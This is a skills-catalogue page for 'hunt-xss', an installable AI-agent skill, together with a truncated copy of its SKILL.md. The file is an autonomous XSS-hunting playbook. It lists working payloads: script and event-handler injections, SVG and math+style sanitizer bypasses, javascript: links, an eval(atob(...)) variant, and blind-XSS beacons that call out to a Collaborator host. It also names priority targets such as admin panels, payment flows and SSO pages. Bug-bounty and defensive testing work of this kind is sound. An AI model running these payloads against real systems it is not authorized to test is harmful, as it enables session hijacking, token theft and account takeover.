SkillAgentSearch skills...

hunt-xss

Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-xss

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

93/100

Supported Platforms

Universal

Our assessment of hunt-xss

hunt-xss scores 93/100 on our quality scale, 296th of 2,569 Development & Engineering skills we index (top 12%).

Its SKILL.md is 29 KB long, well organised into 26 sections with 19 code examples: a thorough specification that gives an agent plenty to work with.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
12/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated today, so hunt-xss is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Warning

Our scan of the whole file found 2 high-risk patterns. Read the lines below before installing hunt-xss, and do not run it with automatic approvals.

  • highDecodes hidden content and executes itline 322
    <svg onload=eval(atob('YWxlcnQoMSk='))>
  • highTells the agent to hide actions from the userline 372
    …ding project owners and admins, the payload could silently exfiltrate OAuth tokens and perform administrative actions on behalf of every vie…

Automated pattern scan on 2026-09-27. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-xss compared with similar skills

All 4 of these similar skills score higher than hunt-xss; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-xss (this skill)by elementalsouls934.7ktodaySKILL.md
Agent-Reachby Panniantong10085.6k11d agoCLAUDE.md
ai-job-searchby MadsLorentzen10044.0k6d agoCLAUDE.md
claude-howtoby luongnv8910041.7ktodayCLAUDE.md
algorithmic-artby anthropics100177.9k4d agoSKILL.md

Frequently asked questions

How do I install hunt-xss?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-xss. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-xss work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-xss safe to use?
Our scan of the whole file found 2 high-risk patterns. Read the lines below before installing hunt-xss, and do not run it with automatic approvals. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-xss still maintained?
The repository was last updated today, so hunt-xss is actively maintained.

name: hunt-xss description: Hunting skill for xss vulnerabilities. Built from 174 public bug bounty reports. Use when hunting xss on any target. For markup injection that reflects raw HTML but does NOT execute JavaScript (no <script>/event-handler execution), see hunt-html-injection — escalate here once script execution is possible. sources: github, hackerone_public report_count: 174

Autonomous Testing Priority

Verify reflection before claiming XSS — encoding is everything.

Your payload must appear in the response body with angle brackets UNESCAPED. <script> is XSS. &lt;script&gt; is safe encoding — not vulnerable.

Use a UNIQUE NUMERIC CANARY in your proof payload — e.g. <script>alert(91234)</script> or "><img src=x onerror=alert(91234)>. Pick a distinctive 4+ digit number, not alert(1). Practice pages are full of example payloads like alert(1)/alert('XSS') in their hint text; a unique number is how you tell YOUR reflected payload apart from the page's decoy examples. Proof = your alert(<canary>) shows up in the response with raw, unescaped angle brackets.

Try these contexts in order:

  1. Inline script injection (works when HTML context allows new tags):

    <script>alert(CANARY)</script>
    

    Use whatever canary string your proof contract specifies. Confirmed when <script>alert(CANARY) appears literally (not HTML-encoded) in the response.

  2. Attribute event injection (when < is filtered but attributes are injectable):

    " onmouseover="alert(CANARY)
    " onerror="alert(CANARY)
    " onload="alert(CANARY)
    
  3. URL/href context:

    javascript:alert(CANARY)
    

Distinguishing success from failure:

  • Vulnerable: response contains <script>alert( unescaped — browser would execute it
  • Filtered/safe: response contains &lt;script&gt; or &#x3C;script&#x3E; — properly encoded
  • Blocked: response is an error, or the reflected value is absent entirely

For stored XSS: inject into a field that other pages display (comments, usernames, ticket titles). Then fetch the rendering page and check for unescaped payload. The payload executes when any user views that page — higher severity than reflected.


Crown Jewel Targets

XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:

  • Admin panels and authenticated dashboards (e.g., */admin, */settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover
  • Payment/financial flows (paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale
  • Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
  • SSO/signin pages (e.g., paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform
  • Shared SaaS tenant surfaces (*.myshopify.com, api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries
  • Help/documentation sites (help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception
  • SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously

Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites


OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)

For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).

What is NOT confirmation

  • ASP.NET request validator rejected your < and returned a different status code → not XSS, that's WAF noise.
  • Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
  • The form action attribute contains your payload string as %22onclick%3D… → not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the %22 stays as literal %22 in the DOM.
  • Your <script> tag appears in the response as &lt;script&gt; → not XSS, that's escaping.

What IS confirmation

  • A request to your unique Collaborator subdomain (e.g., bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued.
  • For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
  • The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.

Where to plant blind-XSS beacons

Any field whose value might be viewed in an admin UI / log viewer / email / report later:

  • Error messages (?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
  • Auth-flow source params (?Source=, ?ReturnUrl=)
  • Login form username field (admin may view audit logs of failed logins)
  • User-Agent header (some SOC consoles render UA as HTML)
  • Referer header (some analytics dashboards render Referer as HTML)
  • Email addresses on registration / contact forms
  • File-upload filenames

Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.

Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.


Attack Surface Signals

URL Patterns:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

Response Headers (weak defense signals):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

JS Patterns in source that signal DOM XSS:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

Tech Stack Signals:

  • Rails applications using html_safe, raw, translate, Action Text, or ActionView sanitize helpers
  • GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
  • Applications allowing SVG uploads or rendering
  • Sites using style tag in allowlists
  • Kroki/Mermaid/PlantUML diagram rendering endpoints
  • Cache layers in front of authenticated pages (cache poisoning vector)

Step-by-Step Hunting Methodology

  1. Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.

  2. Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.

  3. Probe sanitizer behavior — Send harmless canary strings first: aaa"bbb'ccc<ddd to determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.

    Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, evil, attacker, payload, javascript, script. Good markers: cpmark987abc, x4hd2k9pq, __ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the word javascript is in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports.

  4. Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos: <math>+<style>, <svg>+<style>, <iframe srcdoc>, <style> with expressions.

  5. Hunt SVG and file upload vectors — Upload SVG files containing <script> tags. Check Content-Type response header. Test if CSP applies to SVG responses separately.

  6. Test markdown/documentation renderers — In wiki, README, or doc fields, try: [text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoc link:javascript: syntax.

  7. Check redirect parameters — Test ?redirect=javascript:alert(1) and ?return_url=//evil.com — look for single-click XSS via improper redirect sanitization.

  8. Probe UTM and analytics parameters — utm_source, utm_medium, utm_campaign are often reflected without sanitization on marketing pages.

  9. Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains, unsafe-inline in style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs.

  10. Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.

  11. Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.

  12. Validate in target browser — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)


Payload & Detection Patterns

Basic context probing:

aaa"bbb'ccc<ddd>eee`fff

Reflected XSS — URL parameter baseline:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)

Attribute context escapes:

" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)

SVG-based (CSP bypass):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Sanitizer bypass — math+style combo:

<math><style><img src=x onerror=alert(1)></style></math>

Sanitizer bypass — svg+style combo:

<svg><style><img src=x onerror=alert(1)></style></svg>

Markdown/RDoc javascript: link:

[Click me](javascript:alert(document.domain))

Kroki/diagram injection:

```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml

**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'

Grep patterns for source review:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

Curl to detect reflection:

curl -sk "https://target.com/search?q=XSSC

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars4.7k
CategoryDevelopment
Updated23h ago
Forks704

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions